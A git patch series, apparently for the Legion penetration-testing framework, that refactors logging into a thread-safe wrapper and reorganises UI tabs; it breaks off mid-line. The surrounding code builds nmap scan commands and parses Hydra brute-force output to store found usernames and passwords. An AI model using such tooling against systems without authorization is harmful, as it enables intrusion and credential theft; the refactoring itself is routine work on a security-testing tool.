a/ui/gui.py +++ b/ui/gui.py @@ -14,7 +14,7 @@ from PyQt5 import QtWidgets, QtGui, QtCore from PyQt5.QtGui import QColor from ui.dialogs import * # for the screenshots (image viewer) -from qtLogging import * +from utilities.qtLogging import * import logging try: @@ -158,7 +158,8 @@ def setupRightPanel(self): self.DisplayWidget = QtWidgets.QWidget() self.DisplayWidget.setObjectName('ToolOutput') self.DisplayWidget.setSizePolicy(self.sizePolicy2) - #self.toolOutputTextView = QtWidgets.QTextEdit(self.DisplayWidget) + ### ? + self.toolOutputTextView = QtWidgets.QTextEdit(self.DisplayWidget) self.toolOutputTextView = QtWidgets.QPlainTextEdit(self.DisplayWidget) self.toolOutputTextView.setReadOnly(True) self.DisplayWidgetLayout = QtWidgets.QHBoxLayout(self.DisplayWidget) @@ -212,7 +213,6 @@ def setupRightPanel(self): self.NotesTab.setObjectName(_fromUtf8("NotesTab")) self.horizontalLayout_4 = QtWidgets.QHBoxLayout(self.NotesTab) self.horizontalLayout_4.setObjectName(_fromUtf8("horizontalLayout_4")) - #self.NotesTextEdit = QtWidgets.QTextEdit(self.NotesTab) self.NotesTextEdit = QtWidgets.QPlainTextEdit(self.NotesTab) self.NotesTextEdit.setObjectName(_fromUtf8("NotesTextEdit")) self.horizontalLayout_4.addWidget(self.NotesTextEdit) @@ -240,24 +240,25 @@ def setupBottomPanel(self): self.BottomTabWidget.setBaseSize(QtCore.QSize(0, 0)) self.BottomTabWidget.setObjectName(_fromUtf8("BottomTabWidget")) - self.LogTab = QtWidgets.QWidget() - self.LogTab.setObjectName(_fromUtf8("LogTab")) - self.horizontalLayout_5 = QtWidgets.QHBoxLayout(self.LogTab) + self.ProcessTab = QtWidgets.QWidget() + self.ProcessTab.setObjectName(_fromUtf8("ProcessesTab")) + self.horizontalLayout_5 = QtWidgets.QHBoxLayout(self.ProcessTab) self.horizontalLayout_5.setObjectName(_fromUtf8("horizontalLayout_5")) - self.ProcessesTableView = QtWidgets.QTableView(self.LogTab) + self.ProcessesTableView = QtWidgets.QTableView(self.ProcessTab) self.ProcessesTableView.setObjectName(_fromUtf8("ProcessesTableView")) self.horizontalLayout_5.addWidget(self.ProcessesTableView) - self.BottomTabWidget.addTab(self.LogTab, _fromUtf8("")) + self.BottomTabWidget.addTab(self.ProcessTab, _fromUtf8("")) # Terminal Tab self.TerminalTab = QtWidgets.QWidget() self.TerminalTab.setObjectName(_fromUtf8("TerminalTab")) - #self.TerminalOutputTextView = QtWidgets.QPlainTextEdit(self.TerminalTab) - self.TerminalOutputTextView = QPlainTextEditLogger(self.TerminalTab) - log.addHandler(self.TerminalOutputTextView) self.TerminalTabLayout = QtWidgets.QHBoxLayout(self.TerminalTab) - #self.TerminalTabLayout.addWidget(self.TerminalOutputTextView) + self.TerminalTabLayout.setObjectName(_fromUtf8("TerminalTabLayout")) + self.TerminalOutputTextView = QPlainTextEditLogger(self.TerminalTab) + self.TerminalOutputTextView.widget.setObjectName(_fromUtf8("TerminalOutputTextView")) + self.TerminalTabLayout.addWidget(self.TerminalOutputTextView.widget) self.BottomTabWidget.addTab(self.TerminalTab, _fromUtf8("")) + log.addHandler(self.TerminalOutputTextView) # Python Tab self.PythonTab = QtWidgets.QWidget() @@ -274,8 +275,6 @@ def setupMenuBar(self, MainWindow): self.menubar.setObjectName(_fromUtf8("menubar")) self.menuFile = QtWidgets.QMenu(self.menubar) self.menuFile.setObjectName(_fromUtf8("menuFile")) -# self.menuEdit = QtWidgets.QMenu(self.menubar) -# self.menuEdit.setObjectName(_fromUtf8("menuEdit")) self.menuSettings = QtWidgets.QMenu(self.menubar) self.menuSettings.setObjectName(_fromUtf8("menuSettings")) self.menuHelp = QtWidgets.QMenu(self.menubar) @@ -308,8 +307,7 @@ def setupMenuBar(self, MainWindow): self.menuFile.addSeparator() self.menuFile.addAction(self.actionExit) self.menubar.addAction(self.menuFile.menuAction()) -# self.menubar.addAction(self.menuEdit.menuAction()) -# self.menubar.addAction(self.menuSettings.menuAction()) + self.menubar.addAction(self.menuSettings.menuAction()) self.menubar.addAction(self.menuSettings.menuAction()) self.actionSettings = QtWidgets.QAction(MainWindow) self.actionSettings.setObjectName(_fromUtf8("getSettingsMenu")) @@ -336,17 +334,13 @@ def retranslateUi(self, MainWindow): self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ScriptsTab), QtWidgets.QApplication.translate("MainWindow", "Scripts", None)) self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.InformationTab), QtWidgets.QApplication.translate("MainWindow", "Information", None)) self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.NotesTab), QtWidgets.QApplication.translate("MainWindow", "Notes", None)) -# self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ScreenshotsTab), QtWidgets.QApplication.translate("MainWindow", "Screenshots", None)) self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.ScanTab), QtWidgets.QApplication.translate("MainWindow", "Scan", None)) - #self.BruteTabWidget.setTabText(self.BruteTabWidget.indexOf(self.tab), QtWidgets.QApplication.translate("MainWindow", "Tab 1", None)) - #self.BruteTabWidget.setTabText(self.BruteTabWidget.indexOf(self.tab_2), QtWidgets.QApplication.translate("MainWindow", "Tab 2", None)) self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.BruteTab), QtWidgets.QApplication.translate("MainWindow", "Brute", None)) - self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.LogTab), QtWidgets.QApplication.translate("MainWindow", "Log", None)) + self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.ProcessTab), QtWidgets.QApplication.translate("MainWindow", "Processes", None)) self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.TerminalTab), QtWidgets.QApplication.translate("MainWindow", "Terminal", None)) self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.PythonTab), QtWidgets.QApplication.translate("MainWindow", "Python", None)) self.menuFile.setTitle(QtWidgets.QApplication.translate("MainWindow", "File", None)) -# self.menuEdit.setTitle(QtWidgets.QApplication.translate("MainWindow", "Edit", None)) -# self.menuSettings.setTitle(QtWidgets.QApplication.translate("MainWindow", "Settings", None)) + self.menuSettings.setTitle(QtWidgets.QApplication.translate("MainWindow", "Settings", None)) self.menuHelp.setTitle(QtWidgets.QApplication.translate("MainWindow", "Help", None)) self.actionExit.setText(QtWidgets.QApplication.translate("MainWindow", "Exit", None)) self.actionExit.setToolTip(QtWidgets.QApplication.translate("MainWindow", "Exit the application", None)) diff --git a/.justcloned b/utilities/__init__.py similarity index 100% rename from .justcloned rename to utilities/__init__.py diff --git a/qtLogging.py b/utilities/qtLogging.py similarity index 57% rename from qtLogging.py rename to utilities/qtLogging.py index d4d079b5..7a14cb4a 100644 --- a/qtLogging.py +++ b/utilities/qtLogging.py @@ -9,7 +9,12 @@ class QPlainTextEditLogger(logging.Handler): def __init__(self, parent): super().__init__() self.widget = QtWidgets.QPlainTextEdit(parent) - self.widget.setReadOnly(True) + #self.widget.setReadOnly(True) + #self.sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) + #self.sizePolicy.setHorizontalStretch(1) + #self.sizePolicy.setVerticalStretch(1) + #self.widget.setSizePolicy(self.sizePolicy) + #self.widget.setGeometry(0, 0, 200, 400) def emit(self, record): msg = self.format(record) diff --git a/stenoLogging.py b/utilities/stenoLogging.py similarity index 100% rename from stenoLogging.py rename to utilities/stenoLogging.py From d13e78d1abcd351f70ac9571610831bec65ba2f2 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 15 Oct 2018 23:21:24 -0500 Subject: [PATCH 041/450] thread safe logging --- app/auxiliary.py | 57 +++++++++++++++------------- app/logic.py | 82 ++++++++++++++++++++-------------------- app/settings.py | 14 +++---- controller/controller.py | 64 +++++++++++++++---------------- db/database.py | 4 +- legion.py | 52 +++++++------------------ parsers/Parser.py | 2 +- scripts/rdp-sec-check.pl | 38 +++++++++---------- ui/gui.py | 26 +++++++------ ui/view.py | 32 ++++++++-------- 10 files changed, 176 insertions(+), 195 deletions(-) diff --git a/app/auxiliary.py b/app/auxiliary.py index 42d9571e..2d3f9369 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -30,8 +30,11 @@ from time import time import io -log = get_logger('legion', path="legion.log") -log.setLevel(logging.INFO) +logObj = get_logger('legion', path="legion.log") +logObj.setLevel(logging.INFO) + +def log(level, text, logger=logObj): + logger.info(text) def timing(f): @wraps(f) @@ -40,7 +43,7 @@ def wrap(*args, **kw): result = f(*args, **kw) te = time() tr = te-ts - log.debug('Function:%r args:[%r, %r] took: %2.4f sec' % (f.__name__, args, kw, tr)) + log('debug','Function:%r args:[%r, %r] took: %2.4f sec' % (f.__name__, args, kw, tr)) return result return wrap @@ -153,7 +156,7 @@ def checkHydraResults(output): for line in results: login = re.search('(login:[\s]*)([^\s]+)', line) if login: - log.info('Found username: ' + login.group(2)) + log('info','Found username: ' + login.group(2)) usernames.append(login.group(2)) password = re.search('(password:[\s]*)([^\s]+)', line) if password: @@ -171,7 +174,7 @@ def exportNmapToHTML(filename): p.wait() except: - log.info('[-] Could not convert nmap XML to HTML. Try: apt-get install xsltproc') + log('info','Could not convert nmap XML to HTML. Try: apt-get install xsltproc') # this class is used for example to store found usernames/passwords class Wordlist(): @@ -180,7 +183,7 @@ def __init__(self, filename): # needs full self.wordlist = [] with open(filename, 'a+') as f: # open for appending + reading self.wordlist = f.readlines() - log.info('[+] Wordlist was created/opened: ' + str(filename)) + log('info','Wordlist was created/opened: ' + str(filename)) def setFilename(self, filename): self.filename = filename @@ -189,7 +192,7 @@ def setFilename(self, filename): def add(self, word): with open(self.filename, 'a') as f: if not word+'\n' in self.wordlist: - log.info('[+] Adding '+word+' to the wordlist..') + log('info','Adding '+word+' to the wordlist..') self.wordlist.append(word+'\n') f.write(word+'\n') @@ -245,7 +248,7 @@ def run(self): for i in range(0, len(self.urls)): try: url = self.urls.pop(0) - printr('[+] Opening url in browser: ' + url) + printr('Opening url in browser: ' + url) if isHttps(url.split(':')[0],url.split(':')[1]): webbrowser.open_new_tab('https://' + url) else: @@ -256,7 +259,7 @@ def run(self): self.sleep(1) # fixes bug when several calls to urllib occur too fast (interrupted system call) except: - log.info('\t[-] Problem while opening url in browser. Moving on..') + log('info','Problem while opening url in browser. Moving on..') continue self.processing = False @@ -294,7 +297,7 @@ def run(self): outputfile = getTimestamp()+'-screenshot-'+url.replace(':', '-')+'.png' ip = url.split(':')[0] port = url.split(':')[1] -# print '[+] Taking screenshot of '+url +# print 'Taking screenshot of '+url # add to db if isHttps(ip,port): @@ -303,8 +306,8 @@ def run(self): self.save("http://"+url, ip, port, outputfile) except Exception as e: - log.info('\t[-] Unable to take the screenshot. Moving on..') - log.info(e) + log('info','Unable to take the screenshot. Moving on..') + log('info',e) continue self.processing = False @@ -312,12 +315,12 @@ def run(self): if not len(self.urls) == 0: # if meanwhile urls were added to the queue, start over unless we are in pause mode self.run() - log.info('\t[+] Finished.') + #log('info','Finished.') def save(self, url, ip, port, outputfile): - log.info('[+] Saving screenshot as: '+str(outputfile)) + #log('info','Saving screenshot as: '+str(outputfile)) command = 'xvfb-run --server-args="-screen 0:0, 1024x768x24" /usr/bin/cutycapt --url="{url}/" --max-wait=5000 --out="{outputfolder}/{outputfile}"'.format(url=url, outputfolder=self.outputfolder, outputfile=outputfile) - log.info(command) + #log('info',command) p = subprocess.Popen(command, shell=True) p.wait() # wait for command to finish self.done.emit(ip,port,outputfile) # send a signal to add the 'process' to the DB @@ -351,7 +354,7 @@ def apply(self, up, down, checked, portopen, portfiltered, portclosed, tcp, udp, @timing def setKeywords(self, keywords): - log.info(str(keywords)) + log('info',str(keywords)) self.keywords = keywords @timing @@ -360,18 +363,18 @@ def getFilters(self): @timing def display(self): - log.info('Filters are:') - log.info('Show checked hosts: ' + str(self.checked)) - log.info('Show up hosts: ' + str(self.up)) - log.info('Show down hosts: ' + str(self.down)) - log.info('Show tcp: ' + str(self.tcp)) - log.info('Show udp: ' + str(self.udp)) - log.info('Show open ports: ' + str(self.portopen)) - log.info('Show closed ports: ' + str(self.portclosed)) - log.info('Show filtered ports: ' + str(self.portfiltered)) - log.info('Keyword search:') + log('info','Filters are:') + log('info','Show checked hosts: ' + str(self.checked)) + log('info','Show up hosts: ' + str(self.up)) + log('info','Show down hosts: ' + str(self.down)) + log('info','Show tcp: ' + str(self.tcp)) + log('info','Show udp: ' + str(self.udp)) + log('info','Show open ports: ' + str(self.portopen)) + log('info','Show closed ports: ' + str(self.portclosed)) + log('info','Show filtered ports: ' + str(self.portfiltered)) + log('info','Keyword search:') for w in self.keywords: - log.info(w) + log('info',w) ### VALIDATION FUNCTIONS ### diff --git a/app/logic.py b/app/logic.py index c4508f69..5b6144ec 100644 --- a/app/logic.py +++ b/app/logic.py @@ -26,10 +26,10 @@ def __init__(self): def createTemporaryFiles(self): try: - log.info('[+] Creating temporary files..') + log('info','Creating temporary files..') self.istemp = True # indicates that file is temporary and can be deleted if user exits without saving - log.info(self.cwd) + log('info',self.cwd) tf = tempfile.NamedTemporaryFile(suffix=".ldb",prefix="legion-", delete=False, dir="./tmp/") # to store the database file self.outputfolder = tempfile.mkdtemp(suffix="-tool-output",prefix="legion-", dir="./tmp/") # to store tool output of finished processes self.runningfolder = tempfile.mkdtemp(suffix="-running",prefix="legion-", dir="./tmp/") # to store tool output of running processes @@ -39,19 +39,19 @@ def createTemporaryFiles(self): self.usernamesWordlist = Wordlist(self.outputfolder + '/legion-usernames.txt') # to store found usernames self.passwordsWordlist = Wordlist(self.outputfolder + '/legion-passwords.txt') # to store found passwords self.projectname = tf.name - log.info(tf.name) + log('info',tf.name) self.db = Database(self.projectname) except: - log.info('\t[-] Something went wrong creating the temporary files..') - log.info("[-] Unexpected error:", sys.exc_info()) + log('info','Something went wrong creating the temporary files..') + log('info',"Unexpected error:", sys.exc_info()) def removeTemporaryFiles(self): - log.info('[+] Removing temporary files and folders..') + log('info','Removing temporary files and folders..') try: if not self.istemp: # if current project is not temporary if not self.storeWordlists: # delete wordlists if necessary - log.info('[+] Removing wordlist files.') + log('info','Removing wordlist files.') os.remove(self.usernamesWordlist.filename) os.remove(self.passwordsWordlist.filename) @@ -62,8 +62,8 @@ def removeTemporaryFiles(self): shutil.rmtree(self.runningfolder) except: - log.info('\t[-] Something went wrong removing temporary files and folders..') - log.info("[-] Unexpected error:", sys.exc_info()[0]) + log('info','Something went wrong removing temporary files and folders..') + log('info',"Unexpected error:", sys.exc_info()[0]) def createFolderForTool(self, tool): if 'nmap' in tool: @@ -104,8 +104,8 @@ def moveToolOutput(self, outputFilename): elif os.path.exists(str(outputFilename)+'.txt') and os.path.isfile(str(outputFilename)+'.txt'): shutil.move(str(outputFilename)+'.txt', str(path)) except: - log.info('[-] Something went wrong moving the tool output file..') - log.info("[-] Unexpected error:", sys.exc_info()[0]) + log('info','Something went wrong moving the tool output file..') + log('info',"Unexpected error:", sys.exc_info()[0]) def copyNmapXMLToOutputFolder(self, file): try: @@ -116,12 +116,12 @@ def copyNmapXMLToOutputFolder(self, file): shutil.copy(str(file), str(path)) # will overwrite if file already exists except: - log.info('[-] Something went wrong copying the imported XML to the project folder.') - log.info("[-] Unexpected error:", sys.exc_info()[0]) + log('info','Something went wrong copying the imported XML to the project folder.') + log('info',"Unexpected error:", sys.exc_info()[0]) def openExistingProject(self, filename): try: - log.info('[+] Opening project..') + log('info','Opening project..') self.istemp = False # indicate the file is NOT temporary and should NOT be deleted later self.projectname = str(filename) # set the new projectname and outputfolder vars @@ -138,8 +138,8 @@ def openExistingProject(self, filename): self.cwd = ntpath.dirname(str(self.projectname))+'/' # update cwd so it appears nicely in the window title except: - log.info('\t[-] Something went wrong while opening the project..') - log.info("[-] Unexpected error:", sys.exc_info()[0]) + log('info','Something went wrong while opening the project..') + log('info',"Unexpected error:", sys.exc_info()[0]) # this function copies the current project files and folder to a new location # if the replace flag is set to 1, it overwrites the destination file and folder @@ -160,7 +160,7 @@ def saveProjectAs(self, filename, replace=0): os.system('cp -r "'+self.outputfolder+'/." "'+str(foldername)+'"') if self.istemp: # we can remove the temp file/folder if it was temporary - log.info('[+] Removing temporary files and folders..') + log('info','Removing temporary files and folders..') os.remove(self.projectname) shutil.rmtree(self.outputfolder) @@ -176,8 +176,8 @@ def saveProjectAs(self, filename, replace=0): return True except: - log.info('\t[-] Something went wrong while saving the project..') - log.info("\t[-] Unexpected error:", sys.exc_info()[0]) + log('info','Something went wrong while saving the project..') + log('info',"Unexpected error:", sys.exc_info()[0]) return False def isHostInDB(self, host): # used we don't run tools on hosts out of scope @@ -398,10 +398,10 @@ def toggleHostCheckStatus(self, ipaddr): # this function adds a new process to the DB def addProcessToDB(self, proc): - log.info('Add process') + log('info','Add process') p_output = process_output() # add row to process_output table (separate table for performance reasons) p = process(str(proc.pid()), str(proc.name), str(proc.tabtitle), str(proc.hostip), str(proc.port), str(proc.protocol), unicode(proc.command), proc.starttime, "", str(proc.outputfile), 'Waiting', p_output) - log.info(p) + log('info',p) session = self.db.session() session.add(p) #session.commit() @@ -520,7 +520,7 @@ def storeProcessOutputInDB(self, procId, output): def storeNotesInDB(self, hostId, notes): if len(notes) == 0: notes = unicode("Notes for {hostId}".format(hostId=hostId)) - #log.info("Storing notes for {hostId}, Notes {notes}".format(hostId=hostId, notes=notes)) + log('info',"Storing notes for {hostId}, Notes {notes}".format(hostId=hostId, notes=notes)) t_note = self.getNoteFromDB(hostId) if t_note: t_note.text = unicode(notes) @@ -566,14 +566,14 @@ def setOutput(self, output): def run(self): # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing try: session = self.db.session() - log.info("[+] Parsing nmap xml file: " + self.filename) + log('info',"Parsing nmap xml file: " + self.filename) starttime = time() try: parser = Parser(self.filename) except: - log.info('\t[-] Giving up on import due to previous errors.') - log.info("\t[-] Unexpected error:", sys.exc_info()[0]) + log('info','Giving up on import due to previous errors.') + log('info',"Unexpected error:", sys.exc_info()[0]) self.done.emit() return @@ -594,28 +594,28 @@ def run(self): # it is nece if not db_host: # if host doesn't exist in DB, create it first hid = nmap_host(os_match='', os_accuracy='', ip=h.ip, ipv4=h.ipv4, ipv6=h.ipv6, macaddr=h.macaddr, status=h.status, hostname=h.hostname, vendor=h.vendor, uptime=h.uptime, lastboot=h.lastboot, distance=h.distance, state=h.state, count=h.count) - log.info("Adding db_host") + log('info',"Adding db_host") session.add(hid) t_note = note(h.ip, 'Added by nmap') session.add(t_note) else: - log.info("Found db_host already in db") + log('info',"Found db_host already in db") session.commit() for h in parser.all_hosts(): # create all OS, service and port objects that need to be created - log.info("Processing h {ip}".format(ip=h.ip)) + log('info',"Processing h {ip}".format(ip=h.ip)) db_host = session.query(nmap_host).filter_by(ip=h.ip).first() if db_host: - log.info("Found db_host during os/ports/service processing") + log('info',"Found db_host during os/ports/service processing") else: - log.info("Did not find db_host during os/ports/service processing") + log('info',"Did not find db_host during os/ports/service processing") os_nodes = h.get_OS() # parse and store all the OS nodes - log.info(" 'os_nodes' to process: {os_nodes}".format(os_nodes=str(len(os_nodes)))) + log('info'," 'os_nodes' to process: {os_nodes}".format(os_nodes=str(len(os_nodes)))) for os in os_nodes: - log.info(" Processing os obj {os}".format(os=str(os.name))) + log('info'," Processing os obj {os}".format(os=str(os.name))) db_os = session.query(nmap_os).filter_by(host_id=db_host.id).filter_by(name=os.name).filter_by(family=os.family).filter_by(generation=os.generation).filter_by(os_type=os.os_type).filter_by(vendor=os.vendor).first() if not db_os: @@ -623,13 +623,13 @@ def run(self): # it is nece session.add(t_nmap_os) all_ports = h.all_ports() - log.info(" 'ports' to process: {all_ports}".format(all_ports=str(len(all_ports)))) + log('info'," 'ports' to process: {all_ports}".format(all_ports=str(len(all_ports)))) for p in all_ports: # parse the ports - log.info(" Processing port obj {port}".format(port=str(p.portId))) + log('info'," Processing port obj {port}".format(port=str(p.portId))) s = p.get_service() if not (s is None): # check if service already exists to avoid adding duplicates - log.info(" Found service {service} for port {port}".format(service=str(s.name),port=str(p.portId))) + log('info'," Found service {service} for port {port}".format(service=str(s.name),port=str(p.portId))) db_service = session.query(nmap_service).filter_by(name=s.name).filter_by(product=s.product).filter_by(version=s.version).filter_by(extrainfo=s.extrainfo).filter_by(fingerprint=s.fingerprint).first() if not db_service: @@ -659,13 +659,13 @@ def run(self): # it is nece for p in h.all_ports(): for scr in p.get_scripts(): - log.info(" Processing script obj {scr}".format(scr=str(scr))) + log('info'," Processing script obj {scr}".format(scr=str(scr))) db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() db_script = session.query(nmap_script).filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() if not db_script: # if this script object doesn't exist, create it t_nmap_script = nmap_script(scr.scriptId, scr.output, db_port.id, db_host.id) - log.info(" Adding nmap_script obj {script}".format(script=scr.scriptId)) + log('info'," Adding nmap_script obj {script}".format(script=scr.scriptId)) session.add(t_nmap_script) for hs in h.get_hostscripts(): @@ -756,13 +756,13 @@ def run(self): # it is nece session.commit() self.db.dbsemaphore.release() # we are done with the DB - log.info('\t[+] Finished in '+ str(time()-starttime) + ' seconds.') + log('info','Finished in '+ str(time()-starttime) + ' seconds.') self.done.emit() self.schedule.emit(parser, self.output == '') # call the scheduler (if there is no terminal output it means we imported nmap) except Exception as e: - log.info('\t[-] Something went wrong when parsing the nmap file..') - log.info("\t[-] Unexpected error:", sys.exc_info()[0]) - log.info(e) + log('info','Something went wrong when parsing the nmap file..') + log('info',"Unexpected error:", sys.exc_info()[0]) + log('info',e) raise self.done.emit() diff --git a/app/settings.py b/app/settings.py index 21df5061..881f410d 100644 --- a/app/settings.py +++ b/app/settings.py @@ -20,7 +20,7 @@ class AppSettings(): def __init__(self): # check if settings file exists and creates it if it doesn't if not os.path.exists('./legion.conf'): - log.info('[+] Creating settings file..') + log('info','Creating settings file..') self.createDefaultSettings() self.createDefaultBruteSettings() self.createDefaultNmapSettings() @@ -30,7 +30,7 @@ def __init__(self): self.createDefaultPortTerminalActions() self.createDefaultSchedulerSettings() else: - log.info('[+] Loading settings file..') + log('info','Loading settings file..') self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) # This function creates the default settings file. Note that, in general, everything is case sensitive. @@ -300,7 +300,7 @@ def getSchedulerSettings_old(self): def backupAndSave(self, newSettings): # Backup and save - log.info('[+] Backing up old settings and saving new settings..') + log('info','Backing up old settings and saving new settings..') os.rename('./legion.conf', './'+getTimestamp()+'-legion.conf') self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) @@ -442,8 +442,8 @@ def __init__(self, appSettings=None): self.tools_path_texteditor = self.toolSettings['texteditor-path'] except KeyError: - log.info('\t[-] Something went wrong while loading the configuration file. Falling back to default settings for some settings.') - log.info('\t[-] Go to the settings menu to fix the issues!') + log('info','Something went wrong while loading the configuration file. Falling back to default settings for some settings.') + log('info','Go to the settings menu to fix the issues!') # TODO: send signal to automatically open settings dialog here def __eq__(self, other): # returns false if settings objects are different @@ -455,6 +455,6 @@ def __eq__(self, other): # returns fa settings = AppSettings() s = Settings(settings) s2 = Settings(settings) - log.info(s == s2) + log('info',s == s2) s2.general_default_terminal = 'whatever' - log.info(s == s2) + log('info',s == s2) diff --git a/controller/controller.py b/controller/controller.py index f5afbdb7..5fc7917f 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -81,7 +81,7 @@ def loadSettings(self): self.view.settingsWidget.setSettings(Settings(self.settingsFile)) def applySettings(self, newSettings): # call this function when clicking 'apply' in the settings menu (after validation) - log.info('[+] Applying settings!') + log('info','Applying settings!') self.settings = newSettings def cancelSettings(self): # called when the user presses cancel in the Settings dialog @@ -90,10 +90,10 @@ def cancelSettings(self): # called whe @timing def saveSettings(self): if not self.settings == self.originalSettings: - log.info('[+] Settings have been changed.') + log('info','Settings have been changed.') self.settingsFile.backupAndSave(self.settings) else: - log.info('[+] Settings have NOT been changed.') + log('info','Settings have NOT been changed.') def getSettings(self): return self.settings @@ -183,7 +183,7 @@ def closeProject(self): @timing def addHosts(self, iprange, runHostDiscovery, runStagedNmap): if iprange == '': - log.info('[-] No hosts entered..') + log('info','No hosts entered..') return if runStagedNmap: @@ -192,7 +192,7 @@ def addHosts(self, iprange, runHostDiscovery, runStagedNmap): elif runHostDiscovery: outputfile = self.logic.runningfolder+"/nmap/"+getTimestamp()+'-host-discover' command = "nmap -n -sV -O --version-light -T4 "+iprange+" -oA "+outputfile - log.info("Running {command}".format(command=command)) + log('info',"Running {command}".format(command=command)) self.runCommand('nmap', 'nmap (discovery)', iprange, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(iprange), 'nmap (discovery)', True)) else: @@ -237,7 +237,7 @@ def handleHostAction(self, ip, hostid, actions, action): return if action.text() == 'Run nmap (staged)': - log.info('[+] Purging previous portscan data for ' + str(ip)) # if we are running nmap we need to purge previous portscan results + log('info','Purging previous portscan data for ' + str(ip)) # if we are running nmap we need to purge previous portscan results if self.logic.getPortsForHostFromDB(ip, 'tcp'): self.logic.deleteAllPortsAndScriptsForHostFromDB(hostid, 'tcp') if self.logic.getPortsForHostFromDB(ip, 'udp'): @@ -367,7 +367,7 @@ def handlePortAction(self, targets, *args): return if action.text() == 'Run custom command': - log.info('custom command') + log('info','custom command') return terminal = self.settings.general_default_terminal # handle terminal actions @@ -395,12 +395,12 @@ def handleProcessAction(self, selectedProcesses, action): # selectedPr for p in selectedProcesses: if p[1]!="Running": if p[1]=="Waiting": - #print "\t[-] Process still waiting to start. Skipping." + #print "Process still waiting to start. Skipping." if str(self.logic.getProcessStatusForDBId(p[2])) == 'Running': self.killProcess(self.view.ProcessesTableModel.getProcessPidForId(p[2]), p[2]) self.logic.storeProcessCancelStatusInDB(str(p[2])) else: - log.info("\t[-] This process has already been terminated. Skipping.") + log('info',"This process has already been terminated. Skipping.") else: self.killProcess(p[0], p[2]) self.view.updateProcessesTableView() @@ -467,15 +467,15 @@ def getProcessesFromDB(self, filters, showProcesses=''): #################### PROCESSES #################### def checkProcessQueue(self): - log.debug('# MAX PROCESSES: ' + str(self.settings.general_max_fast_processes)) - log.debug('# Fast processes running: ' + str(self.fastProcessesRunning)) - log.debug('# Fast processes queued: ' + str(self.fastProcessQueue.qsize())) + log('debug','# MAX PROCESSES: ' + str(self.settings.general_max_fast_processes)) + log('debug','# Fast processes running: ' + str(self.fastProcessesRunning)) + log('debug','# Fast processes queued: ' + str(self.fastProcessQueue.qsize())) if not self.fastProcessQueue.empty(): if (self.fastProcessesRunning < int(self.settings.general_max_fast_processes)): next_proc = self.fastProcessQueue.get() if not self.logic.isCanceledProcess(str(next_proc.id)): - log.debug('[+] Running: '+ str(next_proc.command)) + log('debug','Running: '+ str(next_proc.command)) next_proc.display.clear() self.processes.append(next_proc) self.fastProcessesRunning += 1 @@ -484,27 +484,27 @@ def checkProcessQueue(self): next_proc.start(next_proc.command) self.logic.storeProcessRunningStatusInDB(next_proc.id, next_proc.pid()) elif not self.fastProcessQueue.empty(): - log.debug('> next process was canceled, checking queue again..') + log('debug','> next process was canceled, checking queue again..') self.checkProcessQueue() def cancelProcess(self, dbId): - log.info('[+] Canceling process: ' + str(dbId)) + log('info','Canceling process: ' + str(dbId)) self.logic.storeProcessCancelStatusInDB(str(dbId)) # mark it as cancelled self.updateUITimer.stop() self.updateUITimer.start(1500) # update the interface soon def killProcess(self, pid, dbId): - log.info('[+] Killing process: ' + str(pid)) + log('info','Killing process: ' + str(pid)) self.logic.storeProcessKillStatusInDB(str(dbId)) # mark it as killed try: os.kill(int(pid), signal.SIGTERM) except OSError: - log.info('\t[-] This process has already been terminated.') + log('info','This process has already been terminated.') except: - log.info("\t[-] Unexpected error:", sys.exc_info()[0]) + log('info',"Unexpected error:", sys.exc_info()[0]) def killRunningProcesses(self): - log.info('[+] Killing running processes!') + log('info','Killing running processes!') for p in self.processes: p.finished.disconnect() # experimental self.killProcess(int(p.pid()), p.id) @@ -526,7 +526,7 @@ def runCommand(self, *args, discovery=True, stage=0, stop=False): textbox.setProperty('dbId', str(self.logic.addProcessToDB(qProcess))) - log.info('[+] Queuing: ' + str(command)) + log('info','Queuing: ' + str(command)) self.fastProcessQueue.put(qProcess) self.checkProcessQueue() @@ -560,7 +560,7 @@ def runPython(self): textbox.setProperty('dbId', str(self.logic.addProcessToDB(qProcess))) - log.info('[+] Queuing: ' + str(command)) + log('info','Queuing: ' + str(command)) self.fastProcessQueue.put(qProcess) self.checkProcessQueue() @@ -628,9 +628,9 @@ def screenshotFinished(self, ip, port, filename): def processCrashed(self, proc): #self.processFinished(proc, True) self.logic.storeProcessCrashStatusInDB(str(proc.id)) - log.info('\t[+] Process {qProcessId} Crashed!'.format(qProcessId=str(proc.id))) + log('info','Process {qProcessId} Crashed!'.format(qProcessId=str(proc.id))) qProcessOutput = "\n\t" + str(proc.display.toPlainText()).replace('\n','').replace("b'","") - log.info('\t[+] Process {qProcessId} Output: {qProcessOutput}'.format(qProcessId=str(proc.id), qProcessOutput=qProcessOutput)) + log('info','Process {qProcessId} Output: {qProcessOutput}'.format(qProcessId=str(proc.id), qProcessOutput=qProcessOutput)) # this function handles everything after a process ends #def processFinished(self, qProcess, crashed=False): @@ -651,10 +651,10 @@ def processFinished(self, qProcess): if self.view.menuVisible == False: self.view.importProgressWidget.show() if qProcess.exitCode() != 0: - log.info("\t[+] Process {qProcessId} exited with code {qProcessExitCode}".format(qProcessId=qProcess.id, qProcessExitCode=qProcess.exitCode())) + log('info',"Process {qProcessId} exited with code 